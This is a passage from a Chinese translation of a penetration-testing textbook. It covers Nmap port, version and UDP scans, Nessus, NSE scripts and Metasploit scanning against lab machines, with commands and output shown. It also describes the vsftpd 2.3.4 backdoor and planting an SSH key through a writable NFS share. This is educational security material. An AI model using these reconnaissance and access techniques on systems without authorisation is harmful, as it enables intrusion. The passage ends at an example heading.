图 5-7. TCP 三次握手

在 SYN 扫描中，Nmap 发送 SYN 包并等待 SYN-ACK 响应，如果端口开放，但永远不会发送 ACK 以完成连接。如果 SYN 包没有收到 SYN-ACK 响应，则该端口不可用；它要么是关闭的，要么是连接被过滤了。通过这种方式，Nmap 可以在不完全连接到目标机器的情况下判断端口是否开放。SYN 扫描的语法是-sS标志。

接下来，正如你在示例 5-6 中看到的，我们指定要扫描的 IP 地址或地址范围。最后，我们使用-o选项将 Nmap 结果输出到文件。-oA选项告诉 Nmap 以所有格式记录结果：.nmap、.gnmap（可用 grep 搜索的 Nmap 格式）和 XML 格式。Nmap 格式类似于示例 5-6 中 Nmap 输出到屏幕的结果，格式清晰且易于阅读。Greppable Nmap（顾名思义）格式化为可以与grep工具一起使用，以便查找特定信息。XML 格式是用于将 Nmap 结果导入其他工具的标准格式。示例 5-6 展示了 SYN 扫描的结果。

注意

记录下我们在渗透测试过程中做的每一件事总是一个好主意。像 Dradis 这样的工具是专门用来跟踪渗透测试数据的，但只要你在报告阶段有记录下所有的操作，你就没问题了。我个人更倾向于使用笔和纸，或者至多是在 Word 文档中创建一份长长的结果记录。用于跟踪结果的方法因渗透测试人员而异。将 Nmap 的扫描结果输出到文件是一种确保你有扫描记录的好方法。另外，你可以使用 Linux 命令 script 来记录终端输出的一切——这也是一种很好的方式来追踪你所做的所有操作。

示例 5-6. 运行 Nmap SYN 扫描

root@kali:~# nmap -sS 192.168.20.10-12 -oA booknmap
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 07:28 EST
Nmap scan report for 192.168.20.10
Host is up (0.00056s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp ❷
25/tcp   open  smtp ❺
80/tcp   open  http ❸
106/tcp  open  pop3pw ❺
110/tcp  open  pop3 ❺
135/tcp  open  msrpc
139/tcp  open  netbios-ssn ❹
443/tcp  open  https ❸
445/tcp  open  microsoft-ds ❹
1025/tcp open  NFS-or-IIS
3306/tcp open  mysql ❻
5000/tcp open  upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)

Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp ❷
22/tcp   open  ssh
80/tcp   open  http ❸
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn ❹
445/tcp  open  microsoft-ds ❹
2049/tcp open  nfs
MAC Address: 00:0C:29:FD:0E:40 (VMware)

Nmap scan report for 192.168.20.12
Host is up (0.0014s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE
80/tcp   open  http ❶
135/tcp  open  msrpc
MAC Address: 00:0C:29:62:D5:C8 (VMware)

Nmap done: 3 IP addresses (3 hosts up) scanned in 1070.40 seconds

如你所见，Nmap 在 Windows XP 和 Linux 机器上返回了一些端口。随着我们在接下来的章节中深入了解，你会发现几乎所有这些端口都包含漏洞。希望在你的渗透测试中不会出现这种情况，但为了让你了解在实际工作中可能遇到的各种漏洞，我们的渗透测试实验室已浓缩为这三台机器。

话虽如此，端口开放并不意味着存在漏洞。它只是让我们有可能在这些端口上运行着易受攻击的软件。我们的 Windows 7 机器仅在端口 80 ❶（HTTP 网络服务器的传统端口）和端口 139（远程过程调用端口）上监听。可能有可利用的软件监听那些没有通过 Windows 防火墙的端口，也可能有易受攻击的软件在本地运行，但目前我们不能直接在网络上尝试利用任何东西，除了 Web 服务器。

这个基础的 Nmap 扫描已经帮助我们集中渗透测试的精力。Windows XP 和 Linux 目标都在运行 FTP 服务器 ❷、Web 服务器 ❸ 和 SMB 服务器 ❹。Windows XP 机器还运行着一个邮件服务器，打开了几个端口 ❺，并且有一个 MySQL 服务器 ❻。

版本扫描

我们的 SYN 扫描很隐蔽，但它并没有告诉我们监听端口上实际运行的软件是什么。与通过 Netcat 连接到端口 25 获取的详细版本信息相比，SYN 扫描的结果显得有些平淡。我们可以使用完整的 TCP 扫描（nmap -sT）或进一步使用 Nmap 的版本扫描（nmap -sV）来获取更多数据。在示例 5-7 中展示的版本扫描，Nmap 完成连接后会尝试确定运行的软件是什么，并且如果可能的话，获取版本信息，采用的技术包括横幅抓取等。

示例 5-7. 运行 Nmap 版本扫描

root@kali:~# nmap -sV 192.168.20.10-12 -oA bookversionnmap

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:29 EST
Nmap scan report for 192.168.20.10
Host is up (0.00046s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FileZilla ftpd 0.9.32 beta
25/tcp   open  smtp         SLmail smtpd 5.5.0.4433
79/tcp   open  finger       SLMail fingerd
80/tcp   open  http         Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k
                              mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
106/tcp  open  pop3pw       SLMail pop3pw
110/tcp  open  pop3         BVRP Software SLMAIL pop3d
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k
                              mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0)
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
5000/tcp open  upnp         Microsoft Windows UPnP
MAC Address: 00:0C:29:A5:C1:24 (Vmware)
Service Info: Host: georgia.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.20.11
Host is up (0.00065s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE              VERSION
21/tcp   open  ftp                  vsftpd 2.3.4 ❶
22/tcp   open  ssh                  OpenSSH 5.1p1 Debian 3ubuntu1 (protocol 2.0)
80/tcp   open  http                 Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with
                                      Suhosin-Patch)
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp  open  netbios-ssn          Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn          Samba smbd 3.X (workgroup: WORKGROUP)
2049/tcp open  nfs (nfs V2-4)       2-4 (rpc #100003)
MAC Address: 00:0C:29:FD:0E:40 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for 192.168.20.12
Host is up (0.0010s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE        VERSION
80/tcp   open  http           Microsoft IIS httpd 7.5
135/tcp  open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:62:D5:C8 (VMware)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 20.56 seconds

这一次，我们获得了更多关于 Windows XP 和 Linux 目标的信息。例如，我们知道 Linux 机器上有一个 FTP 服务器，但现在我们有了合理的证据，证明该 FTP 服务器是非常安全的 FTP 版本 2.3.4❶。我们将在下一章中使用此输出搜索潜在的漏洞。至于我们的 Windows 7 系统，我们只发现它正在运行 Microsoft IIS 7.5，这是一个相当更新的版本。尽管在 Windows 7 上可以安装 IIS 8，但它并不被官方支持。该版本本身不会引起我的任何警觉。我们将在第十四章中发现，安装在此 IIS 服务器上的应用程序才是实际的问题。

注意

请记住，在某些情况下，Nmap 可能会报告错误的版本（例如，如果软件已经更新，但欢迎横幅没有作为补丁的一部分进行编辑），但至少它的版本扫描为我们提供了一个很好的起点，进一步的研究可以从这里开始。

UDP 扫描

Nmap 的 SYN 扫描和版本扫描都是 TCP 扫描，无法查询 UDP 端口。由于 UDP 是无连接的，扫描逻辑有所不同。在 UDP 扫描（-sU）中，Nmap 向端口发送一个 UDP 数据包。根据端口的不同，发送的数据包是协议特定的。如果收到响应，则该端口被视为开放。如果端口关闭，Nmap 将收到 ICMP 端口不可达消息。如果 Nmap 完全没有收到响应，则可能是端口开放，但正在监听的程序未响应 Nmap 的查询，或者流量被过滤。因此，Nmap 并不总是能够区分开放的 UDP 端口和被防火墙过滤的端口。请参见示例 5-8，了解 UDP 扫描的示例。

示例 5-8. 执行 UDP 扫描

root@kali:~# nmap -sU 192.168.20.10-12 -oA bookudp

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:39 EST
Stats: 0:11:43 elapsed; 0 hosts completed (3 up), 3 undergoing UDP Scan
UDP Scan Timing: About 89.42% done; ETC: 08:52 (0:01:23 remaining)
Nmap scan report for 192.168.20.10
Host is up (0.00027s latency).
Not shown: 990 closed ports
PORT     STATE         SERVICE
69/udp   open|filtered tftp ❶
123/udp  open          ntp
135/udp  open          msrpc
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
445/udp  open|filtered microsoft-ds
500/udp  open|filtered isakmp
1026/udp open          win-rpc
1065/udp open|filtered syscomlan
1900/udp open|filtered upnp
MAC Address: 00:0C:29:A5:C1:24 (VMware)

Nmap scan report for 192.168.20.11
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs ❷
5353/udp open          zeroconf
MAC Address: 00:0C:29:FD:0E:40 (VMware)

Nmap scan report for 192.168.20.12
Host is up (0.072s latency).
Not shown: 999 open|filtered ports
PORT     STATE         SERVICE
137/udp  open          netbios-ns
MAC Address: 00:0C:29:62:D5:C8 (VMware)

Nmap done: 3 IP addresses (3 hosts up) scanned in 1073.86 seconds

例如，在 Windows XP 系统上，TFTP 端口（UDP 69）可能是开放的或被过滤的❶。在 Linux 目标上，Nmap 能够发现网络文件系统端口正在监听❷。由于只有两个 TCP 端口在 Windows 7 计算机上响应，因此可以合理推测存在防火墙，在这种情况下是内置的 Windows 防火墙。同样，Windows 防火墙过滤了除了一个 UDP 端口以外的所有流量。（如果没有 Windows 防火墙，我们的 UDP 扫描可能会提供更多的信息。）

扫描特定端口

默认情况下，Nmap 只扫描它认为最“有趣”的 1,000 个端口，而不是 65,535 个可能的 TCP 或 UDP 端口。默认的 Nmap 扫描会捕获常见的运行服务，但在某些情况下，它可能会遗漏一个或两个监听端口。要扫描特定端口，可以使用 -p 标志与 Nmap 一起使用。例如，要扫描 Windows XP 目标上的 3232 端口，请参见示例 5-9。

示例 5-9. 执行针对特定端口的 Nmap 扫描

root@Kali:~# nmap -sS -p 3232 192.168.20.10

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 09:03 EST
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT     STATE SERVICE
3232/tcp open  unknown
MAC Address: 00:0C:29:A5:C1:24 (VMware)

确实，当我们告诉 Nmap 扫描 3232 端口时，它返回了open，这表明除了默认的 Nmap 扫描端口外，这个端口值得进一步检查。然而，如果我们尝试通过版本扫描更具攻击性地探测该端口（参见示例 5-10），监听该端口的服务会崩溃，如图 5-8 所示。

注意

一个好的经验法则是在进行渗透测试时指定端口 1 到 65535，确保这些“无趣”端口上没有监听的服务。

示例 5-10. 针对特定端口进行版本扫描

root@kali:~# nmap -p 3232 -sV 192.168.20.10
Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-28 10:19 EDT
Nmap scan report for 192.168.20.10
Host is up (0.00031s latency).
PORT     STATE SERVICE VERSION
3232/tcp open  unknown
1 service unrecognized despite returning data❶. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : ❷
SF-Port3232-TCP:V=6.25%I=7%D=4/28%Time=517D2FFC%P=i686-pc-linux-gnu%r(GetR
SF:equest,B8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Zervit\x200\.4\r\n❸X-Pow
SF:ered-By:\x20Carbono\r\nConnection:\x20close\r\nAccept-Ranges:\x20bytes\
SF:r\nContent-Type:\x20text/html\r\nContent-Length:\x2036\r\n\r\n<html>\r\
SF:n<body>\r\nhi\r\n</body>\r\n</html>");
MAC Address: 00:0C:29:13:FA:E3 (VMware)

图 5-8. Zervit 服务器在 Nmap 扫描时崩溃。

在崩溃监听服务的过程中，Nmap 无法弄清楚正在运行的是什么软件，如❶所示，但它确实成功获得了该服务的指纹。根据指纹中的 HTML 标签，❷ 这个服务似乎是一个 Web 服务器。根据 Server: 字段，它是一个名为 Zervit 0.4 的服务 ❸。

到此为止，我们已经让服务崩溃，可能再也无法在我们的渗透测试中看到它，因此任何潜在的漏洞都可能变得无关紧要。当然，在我们的实验室中，我们可以切换到 Windows XP 目标并重新启动 Zervit 服务器。

注意

虽然希望你在渗透测试中不会让任何服务崩溃，但总是有可能碰到一个特别敏感的服务，它的编程并没有接受除了预期输入以外的任何输入，因此即使是像 Nmap 扫描这样的看似无害的流量也会导致它崩溃。SCADA 系统尤其以这种行为而著称。你总是需要向客户解释这一点。在处理计算机时，没有任何保证。

我们将在下一章回到 Nmap 工具，当时我们将使用 Nmap 脚本引擎（NSE）来了解目标系统的详细漏洞信息，准备开始漏洞利用。

总结

在本章中，我们通过使用公开可用的资源和端口扫描工具迅速覆盖了大量内容。我们使用了 theHarvester 和 Maltego 等工具在互联网上查找信息，如电子邮件地址和网站。我们使用 Nmap 端口扫描工具找出了在目标虚拟机上监听的端口。根据我们发现的输出，我们现在可以研究已知的漏洞，开始像攻击者一样思考，并积极寻找系统中的可利用漏洞。在下一章中，我们将介绍渗透测试中的漏洞分析阶段。

第六章. 查找漏洞

在我们开始使用漏洞利用工具之前，我们需要做更多的研究和分析。在识别漏洞时，我们积极寻找可能导致在利用阶段发生泄露的问题。尽管一些安全公司会仅仅运行自动化的漏洞利用工具并希望一切顺利，但经过熟练渗透测试人员仔细研究漏洞的结果往往比任何工具本身更为有效。

在本章中，我们将探讨几种漏洞分析方法，包括自动化扫描、定向分析和手动研究。

从 Nmap 版本扫描到潜在漏洞

现在我们已经有了一些关于目标和攻击面的信息，我们可以制定场景来实现我们的渗透测试目标。例如，端口 21 上的 FTP 服务器自报是 Vsftpd 2.3.4。Vsftpd 是 Very Secure FTP 的缩写。

我们可能会认为，一个自称非常安全的产品是在寻求麻烦，事实上，2011 年 7 月，Vsftpd 存储库被发现遭到入侵。Vsftpd 的二进制文件被替换为一个带有后门的版本，可以通过包含笑脸符号 :) 的用户名触发。这个漏洞会在 6200 端口打开一个 root shell。一旦这个问题被发现，带后门的二进制文件被移除，官方的 Vsftpd 2.3.4 被重新安装。因此，尽管 Vsftpd 2.3.4 的存在并不能保证我们的目标存在漏洞，但它绝对是一个值得考虑的威胁。渗透测试没有比借用一个已经控制系统的攻击者的漏洞利用更简单的事情了。

Nessus

Tenable Security 的 Nessus 是最广泛使用的商业漏洞扫描器之一，尽管许多厂商提供了类似的产品。Nessus 与一个被希腊神话英雄赫拉克勒斯（Heracles）所杀的半人马同名，而该半人马的血液后来也杀死了赫拉克勒斯自己。Nessus 数据库包含跨平台和协议的漏洞，其扫描器通过一系列检查来检测已知的问题。你会发现有关于 Nessus 的整本书籍和培训课程，随着你对这个工具的熟悉，你将找到最适合你的使用方法。在这里，我只会简要介绍 Nessus。

Nessus 提供付费的专业版，渗透测试人员和内部安全团队可以使用该版本扫描网络中的漏洞。你可以使用免费版的 Nessus Home 来尝试本书中的练习。Nessus Home 限制扫描 16 个 IP 地址。（Nessus 并未预装在 Kali 中，但我们在第一章中介绍了如何安装它。）

在运行 Nessus 之前，你需要启动 Nessus 守护进程。为此，请输入 service 命令，如下所示，在 TCP 端口 8834 上启动 Nessus Web 界面。

root@kali:~# service nessusd start

现在打开一个网页浏览器，并通过将 Iceweasel 浏览器定向到 https://kali:8834 来访问 Nessus。（如果你想从其他系统（例如主机）访问 Nessus 界面，你必须将 kali 替换为 Kali 机器的 IP 地址。）初始化几分钟后，你应该会看到一个登录界面，如图 6-1 所示。使用你在第一章中创建的登录凭据。

Nessus 策略

Nessus 的网页界面在屏幕顶部有几个标签，如图 6-2 所示。我们从“策略”标签开始。Nessus 策略类似于配置文件，告诉 Nessus 在漏洞扫描中运行哪些漏洞检查、端口扫描器等。

图 6-1. Nessus 网页界面登录界面图 6-2. Nessus 策略

要创建策略，点击 Nessus 界面左侧的 新建策略。Nessus 的策略向导将帮助你创建一个符合扫描目标的策略，如图 6-3 所示。对于我们的简单示例，选择 基础网络扫描。

图 6-3. Nessus 策略向导

现在，系统提示你输入一些关于策略的基本信息，如图 6-4 所示，包括名称、描述以及其他 Nessus 用户是否可以访问该策略。完成后，点击 下一步。

图 6-4. 基础策略设置

接下来，系统会询问这是内部扫描还是外部扫描，如图 6-5 所示。选择内部并点击 下一步。

图 6-5. 内部或外部扫描

如果你有凭据，Nessus 可以与主机进行身份验证，查找可能不会从网络视角显现的漏洞。此功能通常被内部安全团队用于测试其网络的安全态势。你可以在下一步设置这些凭据，如图 6-6 所示。现在，你可以跳过此步骤并点击保存。

图 6-6. 添加凭据（可选）

如图 6-7 所示，我们的新策略现在已显示在策略选项卡中。

图 6-7. 我们的策略已添加。

使用 Nessus 进行扫描

现在，让我们切换到扫描选项卡并对目标机器运行 Nessus。点击扫描 ▸ 新建扫描，然后填写扫描信息，如图 6-8 所示。Nessus 需要知道我们的扫描名称（名称）、使用的扫描策略（策略）以及要扫描的系统（目标）。

图 6-8. 启动 Nessus 扫描

Nessus 对目标执行一系列探测，以试图尽可能多地检测或排除问题。正在运行的扫描会被添加到扫描选项卡中，如图 6-9 所示。

图 6-9. 运行 Nessus 扫描

扫描完成后，点击它以查看结果，如图 6-10 所示。

图 6-10. 结果的高层概览

如图所示，Nessus 在 Windows XP 和 Ubuntu 目标上发现了多个严重漏洞。但在 Windows 7 主机上仅发现了信息性数据。

若要查看特定主机的详细信息，点击该主机。Windows XP 漏洞的详细信息如图 6-11 所示。

图 6-11. Nessus 对结果进行分类并描述。

不管你怎么评价漏洞扫描器，很难找到一个产品，能够像 Nessus 一样快速且轻松地提供如此多的目标环境信息。例如，Nessus 的结果显示，我们的 Windows XP 目标实际上缺少第四章中讨论的 MS08-067 补丁。它似乎还缺少其他影响 SMB 服务器的 Microsoft 补丁。

哪个漏洞是最易被利用的？Nessus 针对某个特定问题的输出通常会提供一些关于该问题潜在可利用性的相关信息。例如，点击输出中的 MS08-067 漏洞（图 6-12）会显示 Metasploit 以及其他工具（如 Core Impact 和 Canvas）中可用于此漏洞的攻击代码。

图 6-12. MS08-067 Nessus 条目提供详细信息。

关于 Nessus 排名的说明

Nessus 根据美国国家标准与技术研究院（NIST）的通用漏洞评分系统（CVSS）版本 2 对漏洞进行排名。排名是根据系统在漏洞被利用时可能产生的影响来计算的。虽然漏洞的排名越高，Nessus 认为漏洞问题越严重，但漏洞的实际风险取决于环境。例如，Nessus 将匿名 FTP 访问评为中等风险漏洞。然而，当只限于非敏感文件时，匿名 FTP 访问的风险可能低到几乎没有。另一方面，企业将其专有源代码副本随意放在一个公开的 FTP 服务器上的情况并不罕见。如果在外部渗透测试任务中，你可以通过以 anonymous 身份登录 FTP 服务器访问到客户的最大资产，那么可以安全地假设任何感兴趣的攻击者也可以做到这一点，这就需要立即联系你的客户。工具无法做出这种区分，做这种区分需要的是渗透测试人员。

为什么使用漏洞扫描器？

尽管一些渗透测试课程完全忽略了漏洞扫描，并认为一个熟练的渗透测试人员可以发现扫描仪能发现的所有问题，但扫描仪仍然是有价值的工具，尤其是在很多渗透测试是在比任何人想象的时间更短的窗口期内完成的。不过，如果你评估的目标之一是避免被检测到，你可能需要三思而后行，避免使用过于显眼的漏洞扫描器。

虽然 Nessus 并没有发现我们环境中的所有问题，但它的使用与我们信息收集阶段的结果结合，为我们提供了一个坚实的漏洞利用起点。即便是那些认为渗透测试人员应该在任务中替代扫描仪的渗透测试人员，也能从学会如何使用扫描工具中受益。虽然在理想的世界里，每个公司都会定期进行无所不用其极的渗透测试，但现实中，仍有大量的漏洞扫描工作可以进行。

导出 Nessus 扫描结果

一旦 Nessus 扫描完成，你可以通过扫描详情页面顶部的导出按钮导出扫描结果，如图 6-13 所示。

图 6-13. 导出 Nessus 扫描结果

Nessus 可以将结果输出为 PDF、HTML、XML、CSV 等格式。你可能希望将原始结果交给客户用于漏洞扫描任务，但绝不应导出扫描器结果，随便加上公司信头，然后称其为渗透测试结果。渗透测试涉及比漏洞扫描更多的分析。你应该始终验证自动扫描器的结果，并结合手动分析，以获得更完整的环境漏洞图像。

现在来看看一些其他的漏洞分析方法。

漏洞研究

如果 Nessus 的总结页面没有给你提供足够的漏洞信息，可以尝试使用传统的 Google 搜索。此外，可以尝试搜索www.securityfocus.com/、www.packetstormsecurity.org/、www.exploit-db.org/和www.cve.mitre.org/。例如，你可以通过 Google 查询如“ms08-067 site:securityfocus.com”来在特定网站上搜索漏洞信息，使用 CVE 系统、微软补丁编号等。MS08-067 漏洞曾引起广泛关注，因此你会找到大量有用的信息。（我们在第四章中详细探讨了这个特定问题。）

根据你的漏洞类型，你也许能够在线找到概念验证的利用代码。我们将在第十九章中探讨如何使用公共代码，但请注意，与 Metasploit 这类经过社区审核的漏洞利用不同，互联网上的所有代码都不一定能按其声明的功能运行。公共漏洞利用中的有效载荷可能会破坏目标机器，或者可能将你的机器加入到漏洞利用作者的秘密僵尸网络。在使用公共漏洞利用时要保持警惕，运行前要仔细审查，确保不会影响生产环境的网络。（你也可能会找到一些由最初发现漏洞的研究人员发布的深入信息。）

Nmap 脚本引擎

现在介绍另一种提供漏洞扫描的工具。就像 Metasploit 从一个漏洞利用框架发展成一个拥有数百个模块的完整渗透测试套件一样，Nmap 也从最初的端口扫描工具发展而来。Nmap 脚本引擎（NSE）允许你运行公开可用的脚本，并编写自己的脚本。

你会在 Kali 中找到随 NSE 打包的脚本，路径是 /usr/share/nmap/scripts。这些可用脚本分为几个类别，包括信息收集、主动漏洞评估、搜索先前攻击迹象等。示例 6-1 显示了你在默认 Kali 安装中可用的 NSE 脚本。

示例 6-1. Nmap 脚本列表

root@kali:~# cd /usr/share/nmap/scripts
root@kali:/usr/local/share/nmap/scripts# ls
acarsd-info.nse                         ip-geolocation-geobytes.nse
address-info.nse                        ip-geolocation-geoplugin.nse
afp-brute.nse                           ip-geolocation-ipinfodb.nse
afp-ls.nse                              ip-geolocation-maxmind.nse
--*snip*--

要获取有关特定脚本或脚本类别的更多信息，可以在 Nmap 中输入 --script-help 参数。例如，要查看 default 类别中的所有脚本，可以输入 nmap --script-help default，如示例 6-2 所示。是否将某个脚本包含在默认类别中，取决于多个因素，包括其可靠性、脚本是否安全并且不太可能对目标造成损害。

示例 6-2. Nmap 默认脚本帮助

root@kali:~# nmap --script-help default
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT
--*snip*--
ftp-anon
Categories: default auth safe
http://nmap.org/nsedoc/scripts/ftp-anon.html
  Checks if an FTP server allows anonymous logins.

  If anonymous is allowed, gets a directory listing of the root directory and highlights writeable files.
--*snip*--

如果你使用 -sC 参数告诉 Nmap 除了端口扫描外还运行脚本扫描，它会运行 default 类别中的所有脚本，如示例 6-3 所示。

示例 6-3. Nmap 默认脚本输出

root@kali:~# nmap -sC 192.168.20.10-12

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST
Nmap scan report for 192.168.20.10
Host is up (0.00038s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp              0 Aug 06  2009 incoming
|_-r--r--r-- 1 ftp ftp            187 Aug 06  2009 onefile.html
|_ftp-bounce: bounce working!
25/tcp   open  smtp
| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY❶, EXPN, ETRN, XTRN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
79/tcp   open  finger
|_finger: Finger online user list request denied.
80/tcp   open  http
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
| http-title:             XAMPP            1.7.2 ❷
|_Requested resource was http://192.168.20.10/xampp/splash.php
--*snip*--
3306/tcp open  mysql
| mysql-info: MySQL Error detected!
| Error Code was: 1130
|_Host '192.168.20.9' is not allowed to connect to this MySQL server ❸
--*snip*--

如你所见，Nmap 脚本引擎发现了许多有趣的信息。例如，我们看到 Windows XP 目标的端口 25 上的 SMTP 服务器允许使用 VRFY ❶ 命令，这使我们能够查看邮件服务器上是否存在某个用户名。如果我们有有效的用户名，使用该命令将使凭证猜测攻击更有可能成功。

我们还可以看到，端口 80 上的 Web 服务器似乎是 XAMPP 1.7.2 版本 ❷。截至本文写作时，Windows 平台上 XAMPP 的当前稳定版本是 1.8.3\。至少，我们发现的版本已经过时，可能还存在安全问题。

除了向我们展示潜在的漏洞，NSE 还允许我们排除一些服务。例如，我们可以看到，端口 3306 上的 MySQL 服务器不允许我们连接，因为我们的 IP 地址未被授权❸。如果我们能够攻击环境中的其他主机，可能会想在后期利用时再次访问该端口，但现在我们可以排除该主机上的 MySQL 漏洞。

运行单个 NSE 脚本

在继续之前，让我们看一个使用 NSE 脚本的另一个例子，这次使用的是非默认脚本。从上一章我们对 Nmap 的基本使用中知道，我们的 Linux 目标正在运行网络文件系统（NFS）。NFS 允许客户端计算机通过网络访问本地文件，但在渗透测试过程中，你可能会发现安全地配置 NFS 比说起来容易做起来难。许多用户并没有考虑到让远程用户访问文件的安全后果。最糟糕的情况是什么呢？我与同事共享我的主目录又有什么关系呢？

NSE 脚本nfs-ls.nse会连接到 NFS 并审计共享。我们可以通过--script-help命令查看单个脚本的更多信息，如示例 6-4 所示。

示例 6-4. Nmap NFS-LS 脚本详细信息

root@kali:~# nmap --script-help nfs-ls
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT

nfs-ls
Categories: discovery safe
http://nmap.org/nsedoc/scripts/nfs-ls.html
  Attempts to get useful information about files from NFS exports.
  The output is intended to resemble the output of <code>ls</code>.
--*snip*--

这个脚本挂载远程共享，审计其权限，并列出共享中的文件。要对我们的 Linux 目标运行脚本，我们可以使用--script选项和脚本名称，如示例 6-5 所示。

示例 6-5. Nmap NFS-LS 脚本输出

root@kali:/# nmap --script=nfs-ls 192.168.20.11

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST
Nmap scan report for 192.168.20.11
Host is up (0.00040s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch)
111/tcp  open  rpcbind     2 (RPC #100000)
| nfs-ls:
|   Arguments:
|     maxfiles: 10 (file listing output limited)
|
|   NFS Export: /export/georgia❶
|   NFS Access: Read Lookup Modify  Extend Delete NoExecute
|     PERMISSION  UID   GID   SIZE  MODIFICATION TIME  FILENAME
|     drwxr-xr-x  1000  1000  4096  2013-12-28 23:35   /export/georgia
|     -rw-------  1000  1000  117   2013-12-26 03:41   .Xauthority
|     -rw-------  1000  1000  3645  2013-12-28 21:54   .bash_history
|     drwxr-xr-x  1000  1000  4096  2013-10-27 03:11   .cache
|     -rw-------  1000  1000  16    2013-10-27 03:11   .esd_auth
|     drwx------  1000  1000  4096  2013-10-27 03:11   .gnupg
|     ??????????  ?     ?     ?     ?                  .gvfs
|     -rw-------  1000  1000  864   2013-12-15 19:03   .recently-used.xbel
|     drwx------  1000  1000  4096  2013-12-15 23:38   .ssh❷
--*snip*--

如你所见，NSE 脚本找到了我们的 Linux 目标上的 NFS 共享/export/georgia ❶。特别值得关注的是.ssh 目录 ❷，它可能包含敏感信息，如 SSH 密钥，以及（如果允许 SSH 服务器上的公钥认证）授权密钥列表。

当你遇到这种访问控制错误时，一个常见的渗透测试技巧是利用这个错误和写权限，向authorized_keys 列表中添加一个新的 SSH 密钥（在这种情况下是我们的密钥）。如果尝试成功，原本看似无关紧要的编辑用户文档问题，突然变成了能够登录远程系统并执行命令的能力。

在继续之前，让我们确认在我们的 Linux 目标上启用了公钥 SSH 认证，这样我们设想的攻击才能成功。基于密钥的登录被认为是最强的 SSH 认证形式，并且建议用于安全性。通过快速 SSH 尝试连接我们的 Linux 目标，可以看到这里允许公钥认证 ❶（参见示例 6-6）。

示例 6-6. SSH 认证方法

root@kali:/# ssh 192.168.20.11
The authenticity of host '192.168.20.11 (192.168.20.11)' can't be established.
RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts.
root@192.168.20.11's password:
Permission denied (publickey❶,password).

注意

一些 NSE 脚本可能会导致服务崩溃或损害目标系统，其中一个完整的类别专门用于拒绝服务攻击。例如，脚本smb-check-vulns会检查 MS08-067 漏洞和其他 SMB 漏洞。它的帮助信息指出，这个脚本可能是危险的，不应在生产系统上运行，除非你准备好让服务器崩溃。

Metasploit 扫描器模块

我们在第四章中使用的 Metasploit 也可以通过多个辅助模块进行漏洞扫描。与漏洞利用不同，这些模块不会让我们控制目标机器，但它们会帮助我们识别漏洞，以便后续的利用。

其中一个 Metasploit 模块寻找提供匿名访问的 FTP 服务。虽然手动尝试登录到单个 FTP 服务器可能足够简单，但 Metasploit 辅助模块可以让我们一次扫描多个主机，这样在测试大型环境时可以节省时间。

要选择特定的模块，我们使用use命令来加载模块，然后通过set命令定义目标，最后通过exploit命令进行扫描，如示例 6-7 所示。这个语法应该和第四章中的内容类似。

示例 6-7. Metasploit 匿名 FTP 扫描模块

